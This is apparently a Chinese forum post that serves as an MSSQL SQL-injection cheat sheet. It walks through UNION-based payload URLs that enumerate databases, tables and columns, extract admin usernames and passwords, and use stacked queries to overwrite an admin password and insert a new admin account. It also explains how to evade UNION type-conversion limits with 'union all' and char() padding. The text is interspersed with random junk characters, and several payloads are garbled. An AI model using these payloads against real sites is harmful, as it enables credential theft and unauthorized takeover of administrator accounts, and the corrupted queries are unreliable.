爆库:
4 }9 B# ~9 l) C0 [: }: Lhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
7 j% f* ]( _" k4 h3 x1 H; d2 CSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.4 g. }5 P. m: @7 {) X7 f% j3 `
爆下一个库:" Q9 U* [* c5 N+ m- C
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
3 E7 S: t& }$ n) ]; I! Y3 x
* C: ~5 Z9 ], x7 L# H( j2 j' A2 M爆表:. j* T, l5 o5 ?. q* ]/ z: f
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
, Z" m/ b2 g, o/ W
4 X! l) U* K& F. `9 }1 c* SSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES./ |6 S0 q4 ]+ y& _4 @
& i; E' R3 u9 V7 J7 l) C# C
爆下一个表
8 Q6 V5 x- e* A# |( yhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--' g- \( {7 p" X
$ Q2 S6 m% q4 _: E
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
/ y, @5 Z$ B( E0 h) x5 ^( r4 t
4 x* d) v! B* m* X9 ~2 F2 n5 r. s
/ V: A' w9 j1 x' J, H$ n- e
6 c0 c H D! T- \: H8 R爆字段:$ M& N3 M9 v# g' m$ n
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--4 i0 @& _, O4 ^/ _9 @ M
- z. a2 V1 {; w+ _3 V爆下一个字段# n$ m- q8 `/ t6 e: N" _" d% \2 G; u
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
3 M3 z$ I9 W' {5 ?: U2 b
7 S+ Q5 o1 _! f' |1 L; Hhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--$ t% F! ~& _3 J! }6 M+ s
9 ?7 j6 }4 j8 g E# N( R' f4 Y9 \7 ~/ J% }1 C8 A
爆字段里的内容
! `3 I4 c4 Y5 K/ R% J/ ~http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
+ n! P. ?+ \: I; ^% Y$ l0 q. \- W4 S1 A# C
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--% D. y$ n7 |" x
: U0 P3 C, G: H, i2 x
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'-- o& G1 B. F8 W. O( g
" c6 c( R, w$ A1 A3 p+ Thttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
% C1 R- s* Y* `
: A& O0 U$ P4 D/ X9 X更新字段里的内容
8 g! n: z! Z! {- o5 B; a4 F" \http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--
8 d' {- v, T f/ `2 E* o) I7 ~. l3 Z3 l, l' g
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--; v2 n) h+ n7 R9 R1 G1 v3 t
+ s. t2 [6 x" v6 l
0 [0 U5 Z& J1 p( Y' N7 C: x4 q- o* r
在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。( f1 S: D. K# k/ z2 i, B4 R
第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
7 k9 u9 o& ]" G 第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
6 D4 |/ M9 I [9 |6 k1 S" a 最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
0 N: \, d) m! K, M" _6 C" [$ p
3 ~; g% g$ [, Q- [. F* z+ Q突了了大部份限制的语句. N$ M( S8 ?; b; E* ^. M
and 1=2 union all select char(49),char(50),null,null;--
( X" Q- A4 V4 ~- D8 z" t
) U/ ~% t1 G6 ]' {- L3 f, S; \- j0 ^
null也可以正常执行,不过没有回显,不好判断回显的列数。
8 i' L% F5 A0 U2 q; }8 p1 k3 ~一般union遇到问题都是有text或者ntext字段,image的很少遇到
~& P# f# j$ u" W+ ?4 K0 E% c
8 E4 C0 j( N) K. ]0 `1 T8 ~% m5 q可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟3 ?( W- @, e+ T1 [( l9 `
3 ~% Q6 m5 v4 b, I( O+ R2 y9 J9 A P! V
|